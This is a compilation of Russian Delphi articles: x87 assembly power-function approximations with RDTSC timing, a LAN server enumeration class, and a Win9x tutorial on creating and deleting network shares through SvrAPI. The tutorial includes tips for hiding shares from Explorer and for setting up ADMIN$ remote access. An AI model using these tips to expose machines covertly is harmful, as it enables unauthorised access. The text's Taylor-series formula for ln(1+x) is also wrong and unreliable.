Замеры временных затрат производились с помощью инструкции RDTSC (процессоры начиная с Pentium):

function time: int64; //Вспомогательная функция для подсчета времени работы
asm rdtsc
end;

И далее в коде.

t := time();
...
writeln(time() - t);

RDTSC возвращает в регистровой паре EDX:EAX число тактов процессора, прошедших с момента последнего сброса (reset). Машинный код инструкции – 0Fh, 31h.

Относительная погрешность ведет себя на удивление стабильно, изменяясь в пределах от 0 до 0,0040%. Поэтому достаточно представительным множеством значений аргумента является, к примеру, промежуток (0, 1000).

Статьи по Delphi (016)… Статьи по Delphi (016)… Рисунок 3.

Видно, что оцененная относительная погрешность (фактически - отклонение от значения, возвращаемого встроенной функцией) на самом деле не превосходит 0.004% !

В случае показателя степени 17 колебания становятся намного чаще, однако общая картина та же.

Аппроксимация функции log2x и “специализация” возведения в степень

Логарифмирование плохо поддается аппроксимации с помощью кубических сплайнов – точнее, мне удалось это сделать, причем с весьма высокой точностью, но лишь ценой проигрыша по времени в сравнении с использованием FYL2X. Однако здесь есть что предпринять и не прибегая к сплайнам.

Как известно, функция ln(1+x) при |x|<1 разлагается в ряд Тейлора следующим образом:

Ln(1+x)=x-x2/(1*2)+x3/(1*2*3)+…+ xi/i!+…

Если абсолютная величина x достаточно мала, члены ряда, уже начиная с третьего, достаточно слабо сказываются на результате. Поэтому для значений x, достаточно близких к 1 (чтобы остаться в оговоренных выше рамках приемлемых погрешностей, x должен отстоять от 1 не больше чем на 0.01), вычисление log2(x)=ln(x)/ln(2)=ln(x)*log2(e)=ln(1+(x-1))*log2(e) можно заменить вычислением (t-t*t/2)*log2(e), где t=x-1.

Это позволяет построить еще один вариант функции возведения в степень для значений основания, близких к 1. В нем нет инструкции FYL2X, а вместо нее присутствует блок инструкций, помеченных символом “ * ” (знак “~” означает приближенное равенство):

function New_Power_XNear1(x, y: FLOATTYPE): FLOATTYPE; // abs(y*log2(x))<990
asm
  fld y
  fld x
  fldz
  fcomip st,st(1)
  je @Zero
  fld1           (*)
  fsub st(1),st  (*)
  fld st(1)      (*) //st(0)=1; st(1)=st(3)=t=x-1, st(2)=1, st(4)=y
  fld1           (*)
  fadd st,st     (*)
  fdivp st(2),st (*) //st(0)=st(2)=t, st(1)=1/2, st(3)=y
  fmul st,st     (*)
  fmulp st(1),st (*) //st(0)=1/2*t*t, st(1)=t, st(2)=y
  fsubp st(1),st (*) //st(0)=t-t*t/2 ~ ln(x), st(1)=y
  fldl2e         (*) //Загружаем константу log2(e)
  fmulp          (*) //st(0)~log2(x), st(1)=y
  fmulp          (*) //st(0)~y*log2(x)
  fldz
  fcomip st,st(1)
  ja @Reverse
  call Core_Exp2
  jmp @Exit
@Zero:
  fxch st(1)
  fstp st         //Освобождаем ненужный регистр
  jmp @Exit
@Reverse:
  fabs
  call Core_Exp2
  fld1
  fdivrp
@Exit:
end;

Таким образом, нам в этом случае (при x, близких к 1) удается избавиться от всех инструкций FPU, принадлежащих к группе трансцендентных, что приводит к впечатляющему росту производительности:

Статьи по Delphi (016)… Статьи по Delphi (016)… Рисунок 4. Временные затраты: New_Power_XNear1 – специализированный вариант New_Power.

К сожалению, с ростом показателя степени максимальная погрешность растет, оставаясь, впрочем, в оговоренных пределах (т.е. меньше 0,1%; более того – меньше 0,01%) даже при очень больших показателях:

Статьи по Delphi (016)… Статьи по Delphi (016)… Статьи по Delphi (016)… Рисунок 5. Заключение

Таким образом, нам удалось получить функции, превосходящие встроенную по скорости от двух до четырех раз при погрешности порядка 0.004% - 0.01%. Не исключено, что существует возможность провести более качественную и более выгодную в смысле временных затрат аппроксимацию функций; возможно, даже по другому принципу, а не так, как это было сделано здесь (т.е. исходя из соотношения x**y=2**(y*log2(x)) ).

Для тех же случаев, когда необходима высокая точность вычислений, в качестве первого камня фундамента была рассмотрена функция, исправляющая недостаток Delphi RTL. Несомненно, это направление также достойно дальнейших исследований с целью ускорить заведомо медленные вычисления с повышенной точностью.

Кладезь мудрости

Очень познавательно чтение следующих документов:

Intel® Architecture Software Developer’s Manual: том 2, Instruction set reference. Можно найти на сайте Intel www.intel.com. Intel® VTune™ Performance Analyzer, гипертекстовая справка. И вообще, VTune – замечательный инструмент для поиска шероховатостей в программе. Intel® Pentium® 4 and Intel® Xeon™ Processor Optimization Reference Manual. Все там же, на сайте Intel.

Изменить регистр выделенного исходного кода.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

Text lower case / Text in Kleinbuchstaben ----------------------------------------- Shortcut / Tastenkombination: Ctrl+K O Text upper case / Text in Grossbuchstaben ----------------------------------------- Shortcut / Tastenkombination: Ctrl+K N

Получение списка серверов в локальной сети.

Автор: Алексей Вуколов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка серверов в локальной сети
Класс-оболочка для функции NetServerEnum.
Примечание. Проверялось только под WinNT/Win2000 (ничего другого под рукой нет).
Методы
------------------
Create( AServer, ADomain : string; AServerMask : longint );
AServer - имя сервера, на котором выполняется функция;
ADomain - имя домена, для которого запрашивается список серверов;
AServerMask - флаги, задающие, список серверов какого типа следует получить.
Этот параметр представляет собой набор флагов SV_TYPE_XXXX. подробнее -
в исходнике и справке по функции WinAPI NetServerEnum.
Refresh.
Обновление списка серверов. Автоматически вызывается при создании класса,
а также при присвоении значения свойству ServerMask.
Свойства
------------------
Servers[ index : integer ] : TServerInfo
Список объектов TServerInfo, содержащих информацию о найденных серверах
- имя, версию, флаги.
Count : integer
Количество найденных серверов
ServerMask : longint
Маска поиска серверов. См. описание параметра AServerMask в конструкторе.
Зависимости: Classes
Автор:       vuk
Copyright:   Алексей Вуколов
Дата:        26 апреля 2002 г.
***************************************************** }
unit NetSrvList;
interface
uses Classes;
const
  SV_TYPE_WORKSTATION = $00000001; // All LAN Manager workstations
  SV_TYPE_SERVER = $00000002; // All LAN Manager servers
  SV_TYPE_SQLSERVER = $00000004; // Any server running with Microsoft SQL Server
  SV_TYPE_DOMAIN_CTRL = $00000008; // Primary domain controller
  SV_TYPE_DOMAIN_BAKCTRL = $00000010; // Backup domain controller
  SV_TYPE_TIMESOURCE = $00000020; // Server running the Timesource service
  SV_TYPE_AFP = $00000040; // Apple File Protocol servers
  SV_TYPE_NOVELL = $00000080; // Novell servers
  SV_TYPE_DOMAIN_MEMBER = $00000100; // LAN Manager 2.x Domain Member
  SV_TYPE_LOCAL_LIST_ONLY = $40000000; // Servers maintained by the browser
  SV_TYPE_PRINT = $00000200; // Server sharing print queue
  SV_TYPE_DIALIN = $00000400; // Server running dial-in service
  SV_TYPE_XENIX_SERVER = $00000800; // Xenix server
  SV_TYPE_MFPN = $00004000; // Microsoft File and Print for Netware
  SV_TYPE_NT = $00001000; // Windows NT (either Workstation or Server)
  SV_TYPE_WFW = $00002000; // Server running Windows for Workgroups
  SV_TYPE_SERVER_NT = $00008000; // Windows NT non-DC server
  SV_TYPE_POTENTIAL_BROWSER = $00010000;
    // Server that can run the Browser service
  SV_TYPE_BACKUP_BROWSER = $00020000;
    // Server running a Browser service as backup
  SV_TYPE_MASTER_BROWSER = $00040000;
    // Server running the master Browser service
  SV_TYPE_DOMAIN_MASTER = $00080000; // Server running the domain master Browser
  SV_TYPE_DOMAIN_ENUM = $80000000; // Primary Domain
  SV_TYPE_WINDOWS = $00400000; // Windows 95 or later
  SV_TYPE_ALL = $FFFFFFFF; // All servers
type
  TServerInfo = class(TObject)
    svr_Platform_ID: integer;
    svr_Name: WideString;
    svr_Version_Major,
      svr_Version_Minor,
      svr_Type: integer;
    svr_Comment: WideString;
  end;
  TServerList = class(TObject)
  protected
    FList: TList;
    FServer, FDomain: WideString;
    FServerMask: longint;
    procedure Clear;
    function GetServer(Index: integer): TServerInfo;
    function GetCount: integer;
    procedure SetServerMask(const Value: longint);
  public
    constructor Create(AServer, ADomain: string; AServerMask: longint);
    destructor Destroy; override;
    procedure Refresh;
    property Servers[index: integer]: TServerInfo read GetServer; default;
    property Count: integer read GetCount;
    property ServerMask: longint read FServerMask write SetServerMask;
  end;
implementation
uses
  Sysutils;
type
  TServer_Info_101 = record
    svr_Platform_ID: integer;
    svr_Name: PWideChar;
    svr_Version_Major,
      svr_Version_Minor,
      svr_Type: integer;
    svr_Comment: PWideChar;
  end;
  TServer_Infos_101 = array[1..($1FFFFFFF div SizeOf(TServer_Info_101))] of
    TServer_Info_101;
function NetServerEnum(ServerName: PWideChar; Level: longint;
  var BufPtr: pointer; PrefMaxLen: longint;
  var EntriesRead, TotalEntries: longint;
  ServType: longint; Domain: PWideChar;
  var ResumeHandle: integer): longint;
  stdcall; external 'netapi32.dll' name 'NetServerEnum';
constructor TServerList.Create(AServer, ADomain: string; AServerMask: longint);
begin
  inherited Create;
  Flist := TList.Create;
  FServer := Aserver;
  FDomain := ADomain;
  FServerMask := AServerMask;
  Refresh;
end;
destructor TServerList.Destroy;
begin
  Clear;
  FList.Free;
  inherited Destroy;
end;
function TServerList.GetServer(Index: integer): TServerInfo;
begin
  Result := TServerInfo(FList[Index]);
end;
function TServerList.GetCount: integer;
begin
  Result := FList.Count;
end;
procedure TServerList.Clear;
var
  i: integer;
begin
  for i := 0 to FList.Count - 1 do
    Servers[i].Free;
  Flist.Clear;
end;
procedure TServerList.Refresh;
var
  EntRead, EntTotal, Resume, i: integer;
  Info: integer;
  Itm: TServerInfo;
  Data: pointer;
  pServer, pDomain: PWideChar;
begin
  if FServer <> '' then
    pServer := PWideChar(FServer)
  else
    pServer := nil;
  if FDomain <> '' then
    pDomain := PWideChar(FDomain)
  else
    pDomain := nil;
  Clear;
  Info := NetServerEnum(pServer, 101, Data, -1, EntRead, EntTotal,
    FServerMask, pDomain, Resume);
  if Info = 0 then
    for i := 1 to EntRead do
    begin
      Itm := TServerInfo.Create;
      with TServer_Infos_101(Data^)[i] do
      begin
        Itm.svr_Platform_ID := svr_Platform_ID;
        Itm.svr_Name := svr_Name;
        Itm.svr_Version_Major := svr_Version_Major;
        Itm.svr_Version_Minor := svr_Version_Minor;
        Itm.svr_Type := svr_Type;
        Itm.svr_Comment := svr_Comment;
      end;
      FList.Add(Itm);
    end
  else
    raise Exception.Create('Cannot get server list');
end;
procedure TServerList.SetServerMask(const Value: longint);
begin
  FServerMask := Value;
  Refresh;
end;
end.

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  List: TServerList;
  i: integer;
begin
  List := TServerList.Create('', '', SV_TYPE_ALL);
  for i := 0 to List.Count - 1 do
    with List[i] do
      Memo1.Lines.Add(Format('%s %s %d.%d %s %x',
        [svr_Name, #9, svr_Version_Major, svr_Version_Minor, #9, svr_Type]));
end;

SVR API для непродвинутых.

Автор: Александр Терехов Специально для Королевства Delphi Вступление... Для тех, кто считает мои примеры и статьи "плагиатом без зазрения совести" ( были прецеденты от анонимных авторов), оговорюсь сразу: не я придумал систему Windows и API-функции к ней, а также не я писал хелп по этому поводу. Но это не значит, что использование полученной оттуда информации - есть плагиат, так как вся информация заранее застолблена авторским правом Б.Гейтса & сотоварищи. А раз она принадлежит им и только им, то какое-либо ее использование ни как не может подпадать под понятие "плагиат". Иное дело алгоритмы... Итак хелп. Предыстория Как-то потребовалось программным способом открыть доступ к сетевому ресурсу. После прочтения (в очередной раз) хелпа от Дельфи стало ясно, что сетевым администрированием занимаются функции семейства Net*. А в частности для открытия, закрытия доступа к сетевому ресурсу, а также получения или изменения информации о нем применяются функции подсемейства NetShare*. Однако, как написано в хелпе, все эти функции работают только под WinNT. К сожалению... Но раз Win'9x открывает (закрывает) доступ, значит, можно сделать то же самое и программно. И тут начались поиски. В хелпе сказано, что для Си++ надо применять заголовочный модуль LmShare.h, в котором даны прототипы функций библиотеки netapi32.dll. Посмотрев эту библиотеку утилитой tdump.exe (лежит в директории Delphi_X\Bin), я увидел, что библиотека netapi32.dll (для Win'9x) кроме одной экспортируемой функции netbios более ничего не содержит. Далее включаю обычный поиск текста "NetShareAdd" в файлах *.dll. Поиск выдал результат - среди нескольких библиотек эту строку содержит и библиотека svrapi.dll. Следуя проторенным путем, т.е. через tdump.exe, увидел, что эта библиотека содержит почти все экспортируемые функции с названиями Net*. Ура! Место, где "собака порылась" найдено! Осталось только эту собаку откопать. Ясно, что без знания прототипов этих функций, сами по себе их названия - пустой хлам. Включаю поиск в Интернет строки "svrapi". И вот он, заветный заголовочный модуль! SvrApi.pas. Лежит, голубчик на JEDI! Написал его Petr Vones, за что ему большое спасибо! В этом модуле даны прототипы следующих классов Net-функций: ACCESS SHARE SESSION CONNECTION FILE SERVER SECURITY Описание Net-функций приведено в хелпе от Дельфи. Их работа одинакова как для WinNT, так и для Win'9x. Правда, для Win'9x следует использовать несколько другие аргументы. О чем ниже и пойдет речь. Функция NetShareAdd Все семейство NetShare*, а это: NetShareAdd - открывает доступ к сетевому ресурсу NetShareDel - закрывает доступ к сетевому ресурсу NetShareEnum - показывает количество и свойства ресурсов с открытым доступом NetShareGetInfo - дает полную информацию об открытом сетевом ресурсе NetShareSetInfo - меняет некоторые значения открытого сетевого ресурса здесь я описывать не буду, т.к. намереваюсь выложить примеры для работы со всеми функциями NetShare* на своем сайте. Опишу только одну - NetShareAdd

Итак функция NetShareAdd. Вот ее прототип:

function NetShareAdd(const pszServer: PChar; sLevel: SmallInt; pbBuffer:
  Pointer; cbBuffer: Word): NET_API_STATUS; stdcall;
Описание аргументов функции будут даны ниже. Сейчас рассмотрим, как следует подключать эту функцию. Подключение внешней функции

Если не вдаваться в подробности, то в подключении внешних функций оказывается нет ничего сложного. В Unit.pas после описания класса TForm и до клаузы implementation следует написать:

function NetShareAdd(ServerName: PChar; Level: Integer; pbBuffer: Pointer;
  BufferSize: Integer): Integer; stdcall; external 'svrapi.dll';
На что следует обратить внимание. Во-первых, я вольно заменил типы некоторых переменных на более привычный Integer (хотя по большому счету этого делать не следует). Во-вторых, stdcall - это способ передачи данных через стек, применяемый для Паскаля. И, в-третьих, external 'svrapi.dll' - означает, что функция находится во внешней библиотеке с названием svrapi.dll. Теперь к аргументам. Аргументы функции ServerName - сетевое имя компьютера, для локального можно писать Nill. Что можно сказать об этом аргументе. Для работы с локальной машиной проблем не возникает. Например, если сетевое имя машины Toshiba, то в этот параметр надо писать '\\Toshiba' или указать Nill. А вот для сетевой машины возникают проблемы. Испытывая NetShareAdd в сети, я постоянно результатом работы функции получал значение 65, что означает - "Нет доступа к сети". Оказалось, чтобы открыть доступ к сети для NetShare-функций, надо "Разрешить удаленное управление этим сервером" (делается в "Пароли" из "Панели управления"). Тогда директории Windows присваивается сетевое имя ADMIN$ и после подключения этого имени в качестве сетевого диска, "сезам" открывается. Все это можно сделать программно: с помощью описываемой функции открыть доступ с именем ADMIN$ к любой директории, в том числе несуществующей (см. ниже) и с помощью одной из трех WNetAddConnection подключить сетевой диск для этого имени. Тогда все сработает на ура. Level - уровень администрирования. Для WinNT применяют три уровня 1,2 и 502, для Win'9x следует применять уровень 50.

PbBuffer - указатель на структуру, в которую будем заносить все данные, необходимые для открытия доступа к ресурсу. На этой структуре следует остановиться более подробно. Вот она сама:

type
  TShareInfo50 = packet record
    shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
    shi50_type: Byte; //тип ресурса
    shi50_flags: Short; //флаг доступа
    shi50_remark: PChar; // комментарий
    shi50_path: PChar; // путь к ресурсу
    shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
    shi50_ro_password: array[0..SHPWLEN] of Char;
    //пароль "только чтение" доступа
  end;
shi50_netname - сетевое имя, по обращению к которому, будет доступен сетевой ресурс. Сетевое имя должно быть уникальным. Константа LM20_NNLEN имеет значение 12, т.е. сетевое имя не должно быть более 12-ти символов. shi50_type - тип ресурса, может иметь следующие значения: STYPE_DISKTREE = 0; - будем открывать доступ к директории; STYPE_PRINTQ = 1; - будем открывать доступ к принтеру; Есть еще две константы, но честно говоря, я их не тестировал: STYPE_DEVICE = 2; - будем открывать доступ к коммуникационному устройству; STYPE_IPC = 3; - открывает доступ к межпроцессорной коммуникации. shi50_flags - флаг доступа, может иметь следующие значения: SHI50F_RDONLY = $0001; - доступ только на чтение; SHI50F_FULL = $0002; - полный доступ; SHI50F_DEPENDSON = SHI50F_RDONLY or SHI50F_FULL; - доступ в зависимости от введенного пароля; SHI50F_ACCESSMASK = SHI50F_RDONLY or SHI50F_FULL - доступ в зависимости от введенного пароля; SHI50F_PERSIST = $0100; - ресурс будет записан в Registry и при перезагрузке компьютера доступ будет открываться в автомате. Для Win'95 почему-то доступ запоминается и без указания этого параметра. SHI50F_SYSTEM = $0200; - в проводнике не будет видно, что доступ к этому ресурсу открыт. shi50_remark - комментарий shi50_path - полный физический путь к устройству. Здесь надо учесть следующее: Если путь указать строчными (маленькими) буквами, то в проводнике не будет видно, что доступ к устройству открыт. Если указать несуществующий путь, то доступ к такому устройству все равно будет открыт. Например, если открыть доступ к несуществующей папке C:\TEST333 и присвоить ей сетевое имя TEST66, то в сетевом окружении будет видно сетевое имя TEST66. Если затем создать папку с именем TEST333, то под этой папкой появится "синяя ручка". shi50_rw_password - пароль для полного доступа; shi50_ro_password - пароль "только чтение", где SHPWLEN = 8, т.е. максимальное количество символов в пароле с учетом символа под номером 0 составляет 9 штук. И наконец, последний аргумент BufferSize - размер буфера, в котором находятся необходимые для открытия доступа данные. Теперь перейдем к значению, возвращаемому функцией NetShareAdd. Результат функции В случае успешного выполнения функции возвращается 0. В случае неудачи возвращается числовое значение. Обработка этого значения в большинстве случаев позволяет локализировать причину неудачи.

Для функции NetShareAdd предлагаются следующие виды ошибок (в моем вольном переводе):

NO_ERROR = 0; 'Все в порядке'
// из LmErr.pas:
NERR_BASE = 2100; базовая ошибка для NERR_;
NERR_NetNotStarted = NERR_BASE + 2 'Сеть недоступна';
NERR_UnknownServer = NERR_BASE + 3 'Неизвестный сервер';
NERR_ServerNotStarted = NERR_BASE + 14 'Сервер не работает';
NERR_UnknownDevDir = NERR_BASE + 16 'Сетевое устройство отсутствует';
NERR_RedirectedPath = NERR_BASE + 17 'Переназначенное устройство';
NERR_DuplicateShare = NERR_BASE + 18 'Сетевое имя уже существует';
NERR_BufTooSmall = NERR_BASE + 23 'Слишком маленький буфер для данных!';
NERR_NetNameNotFound = NERR_BASE + 210 'Сетевое имя не существует';
NERR_InvalidComputer = NERR_BASE + 251 'Неверное имя компьютера';
NERR_ShareNotFound = NERR_BASE + 292 'Сетевое устройство не обнаружено';

Однако бывают и другие ошибки. Почему-то функции SysErrorMessage(GetLastError) и WNetGetLastError при работе с NetShare* (по крайней мере у меня) не срабатывают, поэтому значения ошибок, коды которых менее 2100, я взял из ошибок, общих для всей операционной системы. (из Windows.pas:).

ERROR_NOT_ENOUGH_MEMORY = 8 'Недостаточно памяти';
ERROR_BAD_NETPATH = 53 'Неверное сетевое имя';
ERROR_NETNAME_DELETED = 64 'Сетевой ресурс более недоступен';
ERROR_NETWORK_ACCESS_DENIED = 65 'Отсутствует доступ к сети';
ERROR_BAD_DEV_TYPE = 66 'Неверный тип сетевого ресурса';
ERROR_BAD_NET_NAME = 67 'Не найдено сетевое имя';
ERROR_INVALID_PARAMETER = 87 'Неверный параметр';
ERROR_INVALID_LEVEL = 124 'Неверный уровень администрирования';
Т.е. если результатом функции возвращается число больше, чем 2100, то смотри модуль LmErr.pas, если меньше - то модуль Windows.pas. На этом вроде все. Но, лучше один раз увидеть, чем... Поэтому посмотрим, как все работает на практике. Пример работы NetShareAdd Для директории C:\Temp локальной машины откроем доступ с именем "TEST", паролем для чтения "QWE", для полного доступа "ASDF", комментарием "This is a network machine's commentary", с автоматическим открытием доступа при перезагрузке компьютера. И заодно закроем доступ.

На новую форму следует положить две кнопочки и привести вид Unit1.pas в соответствие с ниже приведенным кодом.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
//подключаем две функции из библиотеки svrapi.dll
function NetShareAdd(Servername: PChar; Level: Integer; Buffer: Pointer;
  BufferSize: Integer): Integer; stdcall; external 'svrapi.dll';
function NetShareDel(Servername: PChar; NetName: PChar; Reserved: DWORD): DWORD;
stdcall; external 'svrapi.dll';
//необходимые константы
const
  {см. LmCons.pas}
  LM20_NNLEN = 12;
  SHPWLEN = 8;
  SHI50F_RDONLY = 1;
  SHI50F_FULL = 2;
  STYPE_DISKTREE = 0;
  SHI50F_PERSIST = $0100;
  SHI50F_SYSTEM = $0200;
  {см. LmErr.pas}
  NERR_BASE = 2100;
  NERR_NetNotStarted = NERR_BASE + 2;
  NERR_UnknownServer = NERR_BASE + 3;
  NERR_ServerNotStarted = NERR_BASE + 14;
  NERR_UnknownDevDir = NERR_BASE + 16;
  NERR_RedirectedPath = NERR_BASE + 17;
  NERR_DuplicateShare = NERR_BASE + 18;
  NERR_BufTooSmall = NERR_BASE + 23;
  NERR_NetNameNotFound = NERR_BASE + 210;
  NERR_InvalidComputer = NERR_BASE + 251;
  NERR_ShareNotFound = NERR_BASE + 292;
  //формируем тип для записи с необходимыми параметрами
type
  TShareInfo50 = record
    shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
    shi50_type: Byte; //тип ресурса
    shi50_flags: Short; //флаг доступа
    shi50_remark: PChar; // комментарий
    shi50_path: PChar; // путь к ресурсу
    shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
    shi50_ro_password: array[0..SHPWLEN] of Char;
      //пароль "только чтение" доступа
  end; {Record}
var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
  info50: TShareInfo50;
  rc, cb: Integer;
  ServerName, Path, NetName, ErrMes, ErrCap, Comment: string;
  MessIconBtn: Byte;
begin
  //установим необходимые параметры
  ServerName := '';
  Path := 'C:\TEMP';
  NetName := 'TEST';
  Comment := 'This is a network machine''s commentary';
  //заполним буфер
  FillChar(info50, sizeof(info50), 0);
  with info50 do
  begin {With}
    StrCopy(shi50_netname, PChar(NetName)); //сетевое имя
    shi50_type := STYPE_DISKTREE; //подключать будем диск
    shi50_remark := PChar(Comment); //комментарий
    shi50_flags := SHI50F_RDONLY or SHI50F_FULL //доступ определяется паролем
    or SHI50F_PERSIST; //и пишется в Registry
    shi50_path := PChar(Path); //путь
    StrPCopy(shi50_rw_password, 'ASDF'); //пароль для полного доступа
    StrPCopy(shi50_ro_password, 'QWE'); // пароль для "только чтение"
  end; {With}
  //установим размер буфера
  cb := sizeof(info50);
  //основная функция
  rc := NetShareAdd(PChar(ServerName), 50, @info50, cb);
  //сформируем текст сообщений об успехе или ошибках
  ErrMes := 'Доступ к устройству "' + NetName + '" открыт!';
  ErrCap := 'Все в порядке!';
  MessIconBtn := MB_OK or MB_ICONINFORMATION;
  //проверка ошибок
  if rc <> 0 then
  begin {ошибка}
    ErrCap := 'Ошибка!';
    MessIconBtn := MB_OK or MB_ICONERROR;
    case rc of
      //расшифровка ошибок
      ERROR_NOT_ENOUGH_MEMORY: ErrMes := 'Недостаточно памяти';
      ERROR_BAD_NETPATH: ErrMes := '"' + Servername +
        '" - неверное сетевое имя!';
      ERROR_NETNAME_DELETED: ErrMes := 'Сетевой ресурс более недоступен';
      ERROR_NETWORK_ACCESS_DENIED: ErrMes := 'Отсутствует доступ к сети';
      ERROR_BAD_DEV_TYPE: ErrMes := 'Неверный тип сетевого ресурса';
      ERROR_BAD_NET_NAME: ErrMes := 'Не найдено сетевое имя';
      ERROR_INVALID_PARAMETER: ErrMes := 'Неверный параметр';
      ERROR_INVALID_LEVEL: ErrMes := 'Неверный уровень администрирования';
      NERR_InvalidComputer: ErrMes := 'Неверное имя компьютера!';
      NERR_UnknownServer: ErrMes := 'Неизвестный сервер!';
      NERR_UnknownDevDir: ErrMes := 'Устройство "' + Path + '" отсутствует!';
      NERR_ServerNotStarted: ErrMes := 'Сервер не работает!';
      NERR_RedirectedPath: ErrMes := 'Переназначенный путь!';
      NERR_DuplicateShare: ErrMes := 'Сетевое имя "' + NetName +
        '" уже существует!';
      NERR_BufTooSmall: ErrMes := 'Слишком маленький буфер для данных!';
    else
    end; {Case}
  end; {ошибка}
  //выдадим сообщение
  MessageBox(Application.Handle, PChar(ErrMes), PChar(ErrCap), MessIconBtn);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  rc: DWord;
  Servername, NetName, ErrMes, ErrCap: string;
  MessIconBtn: Byte;
begin
  ServerName := '';
  NetName := 'TEST';
  rc := NetShareDel(PChar(ServerName), PChar(NetName), 0);
  ErrMes := 'Доступ к устройству "' + NetName + '" закрыт!';
  ErrCap := 'Все в порядке!';
  MessIconBtn := MB_OK or MB_ICONINFORMATION;
  if rc <> 0 then
  begin {ошибка}
    //ошибка
    ErrCap := 'Ошибка!';
    MessIconBtn := MB_OK or MB_ICONERROR;
    case rc of
      //расшифровка ошибок
      ERROR_BAD_NETPATH: ErrMes := '"' + Servername +
        '" - неверное сетевое имя!';
      ERROR_INVALID_PARAMETER: ErrMes := 'Неверный параметр!';
      NERR_NetNotStarted: ErrMes := 'Сеть недоступна!';
      NERR_ServerNotStarted: ErrMes := 'Сервер не работает!';
      NERR_NetNameNotFound: ErrMes := 'Устройство не существует!';
      NERR_ShareNotFound: ErrMes := 'Сетевое имя "' + NetName + '" не найдено!';
    else
      //смотри ошибки для NetShareAdd или
      ErrMes := 'Неизвестная сетевая ошибка!';
    end; {Case}
  end; {ошибка}
  MessageBox(Application.Handle, PChar(ErrMes), PChar(ErrCap), MessIconBtn);
end;
end.
Прилагаемые модули

Скачать SvrAPI.zip (28K).

SvrAPI.pas - модуль с прототипами Net-функций; LmErr.pas - модуль с кодами ошибок; LmCons.pas - модуль со значениями констант; Examles - пример открытия доступа. В приведенном примере можно было бы просто подключить эти модули в Uses и не мучиться с подключением функции, ее константами и кодами ошибок. Но мне кажется, что так интереснее и намного полезней. Да и каждый раз расшаркиваться перед правообладателем не надо! :)

Не забываем, что все, о чем говорилось в этой статье, относится к Win'9x!

SVR API для непродвинутых 2 - как получить информацию об открытом сетевом ресурсе.

Автор: Александр Терехов Специально для Королевства Delphi Вступление Эта статья является логическим продолжением "SvrAPI для непродвинутых или как открыть доступ к сетевому ресурсу". Многое, что было в ней затронуто, в этой статье уже рассматриваться не будет. Поэтому предварительно лучше все-таки прочитать предыдущую статью. Итак, о чем пойдет речь. Мы уже умеем открывать доступ к сетевому ресурсу. Теперь хотелось бы получить информацию об уже открытых сетевых ресурсах. Для этих целей в SvrAPI применяется функция NetShareGetInfo. Однако аргументы этой функции предполагают, что мы уже знаем имя удаленной машины и имена имеющиеся в ней доступных сетевых устройств. Однако, это не всегда так... Можно, конечно, все посмотреть стандартными средствами Windows, например, проводником или открыть сетевое окружение... Да по большому счету, все что мы пытаемся напрограммировать уже давно сделано... Ну, да ладно, вернемся к нашим баранам. Для наглядности изобретем еще один велосипед - напишем небольшую программку позволяющую получать значения, которые приобретает сетевое устройство при открытии к нему доступа. Первый предварительный шаг - получение имен доступных сетевой машины. Второй предварительный шаг - получение имен доступных сетевых устройств. Постучимся в двери - третий предварительный шаг. Ну и, наконец, последнее - получение информации о конкретном сетевом устройстве. Шаг первый. Получение имен доступных сетевых машин

Для получения имен доступных сетевых машин воспользуемся функцией SHBrowseForFolder. Эта функция проживает в модуле ShlObj.pas, модуль автоматически не подключается, поэтому в клаузу Uses надо "ручками" добавить ShrObj. Сама функция имеет всего один аргумент - указатель на структуру типа TBrowseInfo.

TBrowserInfo = record
  hwndOwner: Integer; //хендл "хозяина" диалогового окна
  pidlRoot: PItemIDList; //указатель на спец.структуру - о ней ниже
  pszDisplayName: PChar; //сюда получим имя компьютера
  lpszTitle: PChar; //заголовок диалогового окна
  ulFlags: Integer; //флаг, указывающий, что именно покажет диалоговое окно
  lpfn: TFNBFFCallBack; //адрес процедуры, обрабатывающей действия пользователя - Nil
  lParam: Integer; //доп. параметр для lpfn - 0
  iImage: Integer; //номер иконки в списке системных иконок
end;
Чтобы получить pidlRoot надо использовать еще одну функцию - SHGetSpecialFolderLocation

Ну, начали!

function TForm1.GetComputerNetName: string;
var
  RootItemIDList: PItemIDList;
  //идентификатор объекта в пространстве имен проводника
  BrowseInfo: TBrowseInfo; //структура, в которой содержится информация о диалоге
  Buffer: PChar; //сюда получим имя компьютера
begin
  Result := '';
  //получим нужный идентификатор PItemIDList, CSIDL_NETWORK - в сетевом окружении
  if not (SHGetSpecialFolderLocation(0, CSIDL_NETWORK, RootItemIDList) =
    NO_ERROR) then
    Exit;
  //подготовим буфер, в который получим имя компьютера
  GetMem(Buffer, Max_Path);
  FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
  //подготовим структуру TBrowseInfo
  with BrowseInfo do
  begin {With BrowseInfo}
    hwndOwner := Application.Handle; //хозяин окна - наше приложение
    pidlRoot := RootItemIDList;
      //полученный ранее идентификатор объекта в списке объектов проводника
    pszDisplayName := Buffer; //имя компьютера будем принимать в Buffer
    lpszTitle := 'Подключенные компьютеры'; //заголовок диалога
    ulFlags := BIF_BROWSEFORCOMPUTER; //будут показаны имена только компьютеров
  end; {With BrowseInfo}
  //выполним нужную функцию
  if SHBrowseForFolder(BrowseInfo) = nil then
    Exit;
  Result := string(Buffer); //вот оно - сетевое имя компьютера
  FreeMem(Buffer);
end;
Шаг второй. NetShareEnum - получение имен сетевых ресурсов

